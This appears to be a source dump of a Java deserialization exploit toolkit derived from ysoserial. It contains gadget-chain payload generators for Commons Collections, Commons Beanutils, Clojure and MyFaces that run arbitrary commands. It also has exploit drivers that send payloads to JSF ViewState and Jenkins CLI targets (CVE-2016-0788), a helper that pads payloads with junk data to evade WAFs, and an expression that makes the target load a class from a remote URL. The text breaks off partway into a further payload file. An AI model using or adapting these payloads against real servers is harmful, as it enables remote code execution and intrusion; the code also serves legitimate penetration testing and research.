/src/main/java/me/gv7/woodpecker/yso/secmgr/ExecCheckingSecurityManager.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.secmgr; 2 | 3 | import java.security.Permission; 4 | import java.util.Collections; 5 | import java.util.LinkedList; 6 | import java.util.List; 7 | import java.util.concurrent.Callable; 8 | 9 | // TODO per-thread secmgr 10 | public class ExecCheckingSecurityManager extends SecurityManager { 11 | public ExecCheckingSecurityManager() { 12 | this(true); 13 | } 14 | 15 | public ExecCheckingSecurityManager(boolean throwException) { 16 | this.throwException = throwException; 17 | } 18 | 19 | private final boolean throwException; 20 | 21 | private final List cmds = new LinkedList(); 22 | 23 | public List getCmds() { 24 | return Collections.unmodifiableList(cmds); 25 | } 26 | 27 | @Override 28 | public void checkPermission(final Permission perm) { } 29 | 30 | @Override 31 | public void checkPermission(final Permission perm, final Object context) { } 32 | 33 | @Override 34 | public void checkExec(final String cmd) { 35 | super.checkExec(cmd); 36 | 37 | cmds.add(cmd); 38 | 39 | if (throwException) { 40 | // throw a special exception to ensure we can detect exec() in the test 41 | throw new ExecException(cmd); 42 | } 43 | }; 44 | 45 | @SuppressWarnings("serial") 46 | public static class ExecException extends RuntimeException { 47 | private final String threadName = Thread.currentThread().getName(); 48 | private final String cmd; 49 | public ExecException(String cmd) { this.cmd = cmd; } 50 | public String getCmd() { return cmd; } 51 | public String getThreadName() { return threadName; } 52 | @ 53 | Override 54 | public String getMessage() { 55 | return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; 56 | } 57 | } 58 | 59 | public void callWrapped(final Runnable runnable) throws Exception { 60 | callWrapped(new Callable(){ 61 | public Void call() throws Exception { 62 | runnable.run(); 63 | return null; 64 | } 65 | }); 66 | } 67 | 68 | public T callWrapped(final Callable callable) throws Exception { 69 | SecurityManager sm = System.getSecurityManager(); // save sm 70 | System.setSecurityManager(this); 71 | try { 72 | T result = callable.call(); 73 | if (throwException && ! getCmds().isEmpty()) { 74 | throw new ExecException(getCmds().get(0)); 75 | } 76 | return result; 77 | } catch (Exception e) { 78 | if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { 79 | throw new ExecException(getCmds().get(0)); 80 | } else { 81 | throw e; 82 | } 83 | } finally { 84 | System.setSecurityManager(sm); // restore sm 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Clojure.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; 4 | import clojure.lang.PersistentArrayMap; 5 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 6 | import me.gv7.woodpecker.yso.Strings; 7 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 8 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 9 | 10 | import java.util.Arrays; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | HashMap.readObject() 18 | AbstractTableModel$ff19274a.hashCode() 19 | clojure.core$comp$fn__4727.invoke() 20 | clojure.core$constantly$fn__4614.invoke() 21 | clojure.main$eval_opt.invoke() 22 | 23 | Requires: 24 | org.clojure:clojure 25 | Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions 26 | */ 27 | @Dependencies({"org.clojure:clojure:1.8.0"}) 28 | @Authors({ Authors.JACKOFMOSTTRADES }) 29 | public class Clojure extends PayloadRunner implements ObjectPayload> { 30 | 31 | public Map getObject(final String command) throws Exception { 32 | 33 | // final String[] execArgs = command.split(" "); 34 | // final StringBuilder commandArgs = new StringBuilder(); 35 | // for (String arg : execArgs) { 36 | // commandArgs.append("\" \""); 37 | // commandArgs.append(arg); 38 | // } 39 | // commandArgs.append("\""); 40 | 41 | 42 | // final String clojurePayload = 43 | // String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); 44 | 45 | String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); 46 | 47 | final String clojurePayload = 48 | String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); 49 | 50 | 51 | 52 | Map fnMap = new HashMap(); 53 | fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); 54 | 55 | AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); 56 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 57 | 58 | HashMap targetMap = new HashMap(); 59 | targetMap.put(model, null); 60 | 61 | fnMap.put("hashCode", 62 | new clojure.core$comp().invoke( 63 | new clojure.main$eval_opt(), 64 | new clojure.core$constantly().invoke(clojurePayload))); 65 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 66 | 67 | return targetMap; 68 | } 69 | 70 | public static void main(final String[] args) throws Exception { 71 | PayloadRunner.run(Clojure.class, args); 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsBeanutils2_183.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import javassist.*; 4 | import me.gv7.woodpecker.yso.JavassistClassLoader; 5 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 6 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 7 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 8 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 9 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 10 | import org.apache.commons.beanutils.BeanComparator; 11 | 12 | import java.io.FileOutputStream; 13 | import java.io.ObjectOutputStream; 14 | import java.util.Comparator; 15 | import java.util.PriorityQueue; 16 | 17 | import static me.gv7.woodpecker.yso.payloads.util.Reflections.setFieldValue; 18 | 19 | @SuppressWarnings({ "rawtypes", "unchecked" }) 20 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2","commons-logging:commons-logging:1.2"}) 21 | @Authors({ Authors.PHITHON }) 22 | public class CommonsBeanutils2_183 implements ObjectPayload { 23 | 24 | @Override 25 | public Object getObject(String command) throws Exception { 26 | final Object templates = Gadgets.createTemplatesImpl(command); 27 | // 修改BeanComparator类的serialVersionUID 28 | ClassPool pool = ClassPool.getDefault(); 29 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 30 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 31 | ctBeanComparator.defrost(); 32 | try { 33 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 34 | ctBeanComparator.removeField(ctSUID); 35 | }catch (javassist.NotFoundException e){} 36 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 37 | 38 | final Comparator comparator = (Comparator) ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 39 | Reflections.setFieldValue(comparator, "property", null); 40 | Reflections.setFieldValue(comparator,"comparator",String.CASE_INSENSITIVE_ORDER); 41 | 42 | final PriorityQueue queue = new PriorityQueue(2, comparator); 43 | // stub data for replacement later 44 | queue.add("1"); 45 | queue.add("1"); 46 | 47 | setFieldValue(comparator, "property", "outputProperties"); 48 | setFieldValue(queue, "queue", new Object[]{templates, templates}); 49 | ctBeanComparator.defrost(); 50 | return queue; 51 | } 52 | 53 | public static void main(final String[] args) throws Exception { 54 | PayloadRunner.run(CommonsBeanutils2_183.class, args); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Myfaces2.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | 5 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 6 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 7 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 8 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 9 | 10 | 11 | /** 12 | * 13 | * ValueExpressionImpl.getValue(ELContext) 14 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 15 | * ValueExpressionMethodExpression.getMethodExpression() 16 | * ValueExpressionMethodExpression.hashCode() 17 | * HashMap.hash(Object) 18 | * HashMap.readObject(ObjectInputStream) 19 | * 20 | * Arguments: 21 | * - base_url:classname 22 | * 23 | * Yields: 24 | * - Instantiation of remotely loaded class 25 | * 26 | * Requires: 27 | * - MyFaces 28 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 29 | * 30 | * @author mbechler 31 | */ 32 | @PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion") 33 | @Authors({ Authors.MBECHLER }) 34 | public class Myfaces2 implements ObjectPayload, DynamicDependencies { 35 | public static boolean isApplicableJavaVersion() { 36 | return JavaVersion.isAtLeast(7); 37 | } 38 | 39 | public static String[] getDependencies () { 40 | return Myfaces1.getDependencies(); 41 | } 42 | 43 | 44 | public Object getObject ( String command ) throws Exception { 45 | int sep = command.lastIndexOf(':'); 46 | if ( sep < 0 ) { 47 | throw new IllegalArgumentException("Command format is: :"); 48 | } 49 | 50 | String url = command.substring(0, sep); 51 | String className = command.substring(sep + 1); 52 | 53 | // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ 54 | String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; 55 | 56 | // if we add fewer than the actual classloaders we end up with a null entry 57 | for ( int i = 0; i < 100; i++ ) { 58 | expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; 59 | } 60 | expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" 61 | + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; 62 | 63 | return Myfaces1.makeExpressionPayload(expr); 64 | } 65 | 66 | 67 | public static void main ( final String[] args ) throws Exception { 68 | PayloadRunner.run(Myfaces2.class, args); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/payloads/FileUploadTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.payloads; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.util.Arrays; 6 | import java.util.concurrent.Callable; 7 | 8 | import org.junit.Assert; 9 | 10 | import com.google.common.io.Files; 11 | 12 | import me.gv7.woodpecker.yso.test.CustomTest; 13 | import me.gv7.woodpecker.yso.test.util.OS; 14 | 15 | /** 16 | * @author mbechler 17 | * 18 | */ 19 | public class FileUploadTest implements CustomTest { 20 | 21 | /** 22 | * 23 | */ 24 | private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; 25 | private File source; 26 | private File repo; 27 | 28 | 29 | /** 30 | * 31 | */ 32 | public FileUploadTest () { 33 | try { 34 | source = File.createTempFile("fut", "-source"); 35 | repo = Files.createTempDir(); 36 | } 37 | catch ( IOException e ) { 38 | e.printStackTrace(); 39 | } 40 | } 41 | 42 | 43 | public synchronized void run ( Callable payload ) throws Exception { 44 | try { 45 | Files.write(FDATA, this.source); 46 | Assert.assertTrue(this.source.exists()); 47 | payload.call(); 48 | 49 | File found = null; 50 | for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing 51 | for (File f : this.repo.listFiles()) { 52 | found = f; 53 | break; 54 | } 55 | Thread.sleep(100); 56 | } 57 | Assert.assertNotNull("File not copied", found); 58 | if (OS.get() != OS.WINDOWS) { 59 | // windows' file locking seems to cause this to fail 60 | Assert.assertFalse("Source not deleted", this.source.exists()); 61 | } 62 | Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); 63 | } finally { 64 | if ( this.repo.exists()) { 65 | for ( File f : this.repo.listFiles()) { 66 | safeDeleteOnExit(f); 67 | } 68 | safeDeleteOnExit(this.repo); 69 | } 70 | safeDeleteOnExit(this.source); 71 | } 72 | } 73 | 74 | private static void safeDeleteOnExit(File f) { 75 | try { 76 | if (f.exists()) { 77 | f.deleteOnExit(); 78 | } 79 | } catch (Exception e) { 80 | e.printStackTrace(); 81 | } 82 | } 83 | 84 | public String getPayloadArgs () { 85 | return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath(); 86 | } 87 | 88 | } 89 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/exploit/JSF.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.exploit; 2 | 3 | 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | import java.net.URLEncoder; 11 | 12 | import me.gv7.woodpecker.yso.payloads.ObjectPayload; 13 | import org.apache.commons.codec.binary.Base64; 14 | 15 | 16 | /** 17 | * JSF view state exploit 18 | * 19 | * Delivers a gadget payload via JSF ViewState token. 20 | * 21 | * This will only work if ViewState encryption/mac is disabled. 22 | * 23 | * While it has been long known that client side state saving 24 | * with encryption disabled leads to RCE via EL injection, 25 | * this of course also works with deserialization gadgets. 26 | * 27 | * Also, it turns out that MyFaces is vulnerable to this even when 28 | * using server-side state saving 29 | * (yes, please, let's (de-)serialize a String as an Object). 30 | * 31 | * @author mbechler 32 | * 33 | */ 34 | public class JSF { 35 | 36 | public static void main ( String[] args ) { 37 | 38 | if ( args.length < 3 ) { 39 | System.err.println(JSF.class.getName() + " "); 40 | System.exit(-1); 41 | } 42 | 43 | final Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[ 1 ], args[ 2 ]); 44 | 45 | try { 46 | URL u = new URL(args[ 0 ]); 47 | 48 | URLConnection c = u.openConnection(); 49 | if ( ! ( c instanceof HttpURLConnection ) ) { 50 | throw new IllegalArgumentException("Not a HTTP url"); 51 | } 52 | 53 | HttpURLConnection hc = (HttpURLConnection) c; 54 | hc.setDoOutput(true); 55 | hc.setRequestMethod("POST"); 56 | hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 57 | OutputStream os = hc.getOutputStream(); 58 | 59 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 60 | ObjectOutputStream oos = new ObjectOutputStream(bos); 61 | oos.writeObject(payloadObject); 62 | oos.close(); 63 | byte[] data = bos.toByteArray(); 64 | String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); 65 | os.write(requestBody.getBytes("US-ASCII")); 66 | os.close(); 67 | 68 | System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); 69 | } 70 | catch ( Exception e ) { 71 | e.printStackTrace(System.err); 72 | } 73 | ObjectPayload.Utils.releasePayload(args[1], payloadObject); 74 | 75 | } 76 | 77 | 78 | 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/util/DirtyDataWrapper.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.util; 2 | 3 | import me.gv7.woodpecker.yso.payloads.CommonsCollections6; 4 | 5 | import java.io.FileOutputStream; 6 | import java.io.ObjectOutputStream; 7 | import java.util.*; 8 | 9 | /** 10 | * @author c0ny1 11 | * @reference: 12 | * Java反序列化数据绕WAF之加大量脏数据 13 | * https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/ 14 | */ 15 | public class DirtyDataWrapper { 16 | private int dirtyDataSize; //脏数据大小 17 | private String dirtyData; //脏数据内容 18 | private Object gadget; // ysoserila gadget对象 19 | 20 | public DirtyDataWrapper(Object gadget, int dirtyDataSize){ 21 | this.gadget = gadget; 22 | this.dirtyDataSize = dirtyDataSize; 23 | } 24 | 25 | /** 26 | * 将脏数据和gadget对象存到集合对象中 27 | * @return 一个包裹脏数据和gadget对象可序列化对象 28 | */ 29 | public Object doWrap(){ 30 | Object wrapper = null; 31 | dirtyData = getLongString(dirtyDataSize); 32 | int type = (int)(Math.random() * 10) % 10 + 1; 33 | switch (type){ 34 | case 0: 35 | List arrayList = new ArrayList(); 36 | arrayList.add(dirtyData); 37 | arrayList.add(gadget); 38 | wrapper = arrayList; 39 | break; 40 | case 1: 41 | List linkedList = new LinkedList(); 42 | linkedList.add(dirtyData); 43 | linkedList.add(gadget); 44 | wrapper = linkedList; 45 | break; 46 | case 2: 47 | HashMap map = new HashMap(); 48 | map.put("a",dirtyData); 49 | map.put("b",gadget); 50 | wrapper = map; 51 | break; 52 | case 3: 53 | LinkedHashMap linkedHashMap = new LinkedHashMap(); 54 | linkedHashMap.put("a",dirtyData); 55 | linkedHashMap.put("b",gadget); 56 | wrapper = linkedHashMap; 57 | break; 58 | default: 59 | case 4: 60 | TreeMap treeMap = new TreeMap(); 61 | treeMap.put("a",dirtyData); 62 | treeMap.put("b",gadget); 63 | wrapper = treeMap; 64 | break; 65 | } 66 | return wrapper; 67 | } 68 | 69 | /** 70 | * 生产随机字符串 71 | * @param length 随机字符串长度 72 | * @return 随机字符串 73 | */ 74 | public static String getLongString(int length){ 75 | String str = ""; 76 | for (int i=0;i { 34 | 35 | public Object getObject(final String command) throws Exception { 36 | Object templatesImpl = Gadgets.createTemplatesImpl(command); 37 | 38 | // inert chain for setup 39 | final Transformer transformerChain = new ChainedTransformer( 40 | new Transformer[]{ new ConstantTransformer(1) }); 41 | // real chain for after setup 42 | final Transformer[] transformers = new Transformer[] { 43 | new ConstantTransformer(TrAXFilter.class), 44 | new InstantiateTransformer( 45 | new Class[] { Templates.class }, 46 | new Object[] { templatesImpl } )}; 47 | 48 | final Map innerMap = new HashMap(); 49 | 50 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 51 | 52 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 53 | 54 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 55 | 56 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 57 | 58 | return handler; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections3.class, args); 63 | } 64 | 65 | public static boolean isApplicableJavaVersion() { 66 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/exploit/JenkinsReverse.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.exploit; 2 | 3 | 4 | import java.io.IOException; 5 | import java.net.InetSocketAddress; 6 | import java.rmi.registry.Registry; 7 | import java.util.Random; 8 | 9 | import hudson.remoting.Channel; 10 | import me.gv7.woodpecker.yso.payloads.JRMPClient; 11 | import me.gv7.woodpecker.yso.payloads.ObjectPayload; 12 | 13 | 14 | /** 15 | * CVE-2016-0788 exploit (2) 16 | * 17 | * - Sets up a local {@link JRMPListener} 18 | * - Delivers a {@link me.gv7.woodpecker.yso.payloads.JRMPClient} payload via the CLI protocol 19 | * that will cause the remote to open a JRMP connection to our listener 20 | * - upon connection the specified payload will be delivered to the remote 21 | * (that will deserialize using a default ObjectInputStream) 22 | * 23 | * @author mbechler 24 | * 25 | */ 26 | public class JenkinsReverse { 27 | 28 | public static final void main ( final String[] args ) { 29 | if ( args.length < 4 ) { 30 | System.err.println(JenkinsListener.class.getName() + " "); 31 | System.exit(-1); 32 | } 33 | 34 | 35 | final Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[2], args[3]); 36 | String myAddr = args[ 1 ]; 37 | int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; 38 | String jenkinsUrl = args[ 0 ]; 39 | 40 | Thread t = null; 41 | Channel c = null; 42 | try { 43 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 44 | c = JenkinsCLI.openChannel(isa); 45 | JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); 46 | t = new Thread(listener, "ReverseDGC"); 47 | t.setDaemon(true); 48 | t.start(); 49 | Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); 50 | c.call(JenkinsCLI.getPropertyCallable(payload)); 51 | listener.waitFor(1000); 52 | listener.close(); 53 | } 54 | catch ( Throwable e ) { 55 | e.printStackTrace(); 56 | } 57 | finally { 58 | if ( c != null ) { 59 | try { 60 | c.close(); 61 | } 62 | catch ( IOException e ) { 63 | e.printStackTrace(System.err); 64 | } 65 | } 66 | 67 | if ( t != null ) { 68 | t.interrupt(); 69 | try { 70 | t.join(); 71 | } 72 | catch ( InterruptedException e ) { 73 | e.printStackTrace(System.err); 74 | } 75 | } 76 | } 77 | ObjectPayload.Utils.releasePayload(args[2], payloadObject); 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsBeanutils1_183.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtField; 7 | import me.gv7.woodpecker.yso.JavassistClassLoader; 8 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 9 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 10 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 11 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 12 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 13 | 14 | import java.math.BigInteger; 15 | import java.util.Comparator; 16 | import java.util.PriorityQueue; 17 | 18 | @SuppressWarnings({ "rawtypes", "unchecked" }) 19 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 20 | @Authors({ Authors.FROHOFF }) 21 | public class CommonsBeanutils1_183 implements ObjectPayload { 22 | 23 | public Object getObject(final String command) throws Exception { 24 | final Object templates = Gadgets.createTemplatesImpl(command); 25 | 26 | // 修改BeanComparator类的serialVersionUID 27 | ClassPool pool = ClassPool.getDefault(); 28 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 29 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 30 | 31 | try { 32 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 33 | ctBeanComparator.removeField(ctSUID); 34 | }catch (javassist.NotFoundException e){} 35 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 36 | 37 | // mock method name until armed 38 | final Comparator comparator = (Comparator)ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 39 | ctBeanComparator.defrost(); 40 | Reflections.setFieldValue(comparator, "property", "lowestSetBit"); 41 | 42 | // create queue with numbers and basic comparator 43 | final PriorityQueue queue = new PriorityQueue(2, comparator); 44 | // stub data for replacement later 45 | queue.add(new BigInteger("1")); 46 | queue.add(new BigInteger("1")); 47 | 48 | // switch method called by comparator 49 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 50 | 51 | // switch contents of queue 52 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 53 | queueArray[0] = templates; 54 | queueArray[1] = templates; 55 | ctBeanComparator.defrost(); 56 | return queue; 57 | } 58 | 59 | public static void main(final String[] args) throws Exception { 60 | PayloadRunner.run(CommonsBeanutils1_183.class, args); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import org.apache.commons.collections.Transformer; 8 | import org.apache.commons.collections.functors.ChainedTransformer; 9 | import org.apache.commons.collections.functors.ConstantTransformer; 10 | import org.apache.commons.collections.map.LazyMap; 11 | 12 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 13 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 14 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 15 | import me.gv7.woodpecker.yso.payloads.custom.CommonsCollectionsUtil; 16 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 17 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 18 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 19 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 20 | 21 | /* 22 | Gadget chain: 23 | ObjectInputStream.readObject() 24 | AnnotationInvocationHandler.readObject() 25 | Map(Proxy).entrySet() 26 | AnnotationInvocationHandler.invoke() 27 | LazyMap.get() 28 | ChainedTransformer.transform() 29 | ConstantTransformer.transform() 30 | InvokerTransformer.transform() 31 | Method.invoke() 32 | Class.getMethod() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Runtime.getRuntime() 36 | InvokerTransformer.transform() 37 | Method.invoke() 38 | Runtime.exec() 39 | 40 | Requires: 41 | commons-collections 42 | */ 43 | @SuppressWarnings({"rawtypes", "unchecked"}) 44 | @PayloadTest ( precondition = "isApplicableJavaVersion") 45 | @Dependencies({"commons-collections:commons-collections:3.1"}) 46 | @Authors({ Authors.FROHOFF }) 47 | public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { 48 | 49 | public InvocationHandler getObject(final String command) throws Exception { 50 | final String[] execArgs = new String[] { command }; 51 | // inert chain for setup 52 | final Transformer transformerChain = new ChainedTransformer( 53 | new Transformer[]{ new ConstantTransformer(1) }); 54 | // real chain for after setup 55 | final Transformer[] transformers = CommonsCollectionsUtil.getTransformerList(command); 56 | 57 | final Map innerMap = new HashMap(); 58 | 59 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 60 | 61 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 62 | 63 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 64 | 65 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 66 | 67 | return handler; 68 | } 69 | 70 | public static void main(final String[] args) throws Exception { 71 | PayloadRunner.run(CommonsCollections1.class, args); 72 | } 73 | 74 | public static boolean isApplicableJavaVersion() { 75 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections7.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.map.LazyMap; 6 | 7 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 8 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 9 | import me.gv7.woodpecker.yso.payloads.custom.CommonsCollectionsUtil; 10 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 11 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 12 | 13 | import java.util.HashMap; 14 | import java.util.Hashtable; 15 | import java.util.Map; 16 | 17 | /* 18 | Payload method chain: 19 | 20 | java.util.Hashtable.readObject 21 | java.util.Hashtable.reconstitutionPut 22 | org.apache.commons.collections.map.AbstractMapDecorator.equals 23 | java.util.AbstractMap.equals 24 | org.apache.commons.collections.map.LazyMap.get 25 | org.apache.commons.collections.functors.ChainedTransformer.transform 26 | org.apache.commons.collections.functors.InvokerTransformer.transform 27 | java.lang.reflect.Method.invoke 28 | sun.reflect.DelegatingMethodAccessorImpl.invoke 29 | sun.reflect.NativeMethodAccessorImpl.invoke 30 | sun.reflect.NativeMethodAccessorImpl.invoke0 31 | java.lang.Runtime.exec 32 | */ 33 | 34 | @SuppressWarnings({"rawtypes", "unchecked"}) 35 | @Dependencies({"commons-collections:commons-collections:3.1"}) 36 | @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) 37 | 38 | public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { 39 | 40 | public Hashtable getObject(final String command) throws Exception { 41 | 42 | // Reusing transformer chain and LazyMap gadgets from previous payloads 43 | final String[] execArgs = new String[]{command}; 44 | 45 | final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); 46 | 47 | final Transformer[] transformers = CommonsCollectionsUtil.getTransformerList(command); 48 | 49 | Map innerMap1 = new HashMap(); 50 | Map innerMap2 = new HashMap(); 51 | 52 | // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject 53 | Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); 54 | lazyMap1.put("yy", 1); 55 | 56 | Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); 57 | lazyMap2.put("zZ", 1); 58 | 59 | // Use the colliding Maps as keys in Hashtable 60 | Hashtable hashtable = new Hashtable(); 61 | hashtable.put(lazyMap1, 1); 62 | hashtable.put(lazyMap2, 2); 63 | 64 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 65 | 66 | // Needed to ensure hash collision after previous manipulations 67 | lazyMap2.remove("yy"); 68 | 69 | return hashtable; 70 | } 71 | 72 | public static void main(String[] args) throws Exception { 73 | PayloadRunner.run(CommonsCollections7.class, args); 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Spring2.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | import static java.lang.Class.forName; 5 | 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import 